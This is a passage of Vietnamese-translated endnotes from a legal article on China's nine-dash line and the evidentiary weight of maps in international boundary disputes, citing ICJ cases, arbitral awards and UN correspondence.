ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. 